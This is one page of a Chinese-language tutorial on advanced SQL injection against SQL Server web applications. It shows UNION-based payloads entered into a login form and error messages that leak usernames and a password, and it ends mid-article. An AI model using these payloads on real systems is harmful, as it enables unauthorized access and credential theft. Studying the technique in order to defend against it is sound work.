WEB开发网
开发学院数据库MSSQL Server Sql server应用程序中的高级SQL注入 阅读

Sql server应用程序中的高级SQL注入

 2007-05-18 09:39:43 来源:WEB开发网   
核心提示: 这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Serv

这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
  /process_login.asp, line 35

因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

  Username:' union select min(username),1,1,1 from users where username>'admin'—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
  /process_login.asp, line 35

一旦攻击者确定了用户名,他就可以开始收集密码:

  Username:' union select password,1,1,1 from users where username='admin'—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
  /process_login.asp, line 35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

上一页  3 4 5 6 7 8 9 10  下一页

Tags:SQL Server 应用程序

编辑录入:coldstar [复制链接] [打 印]
赞助商链接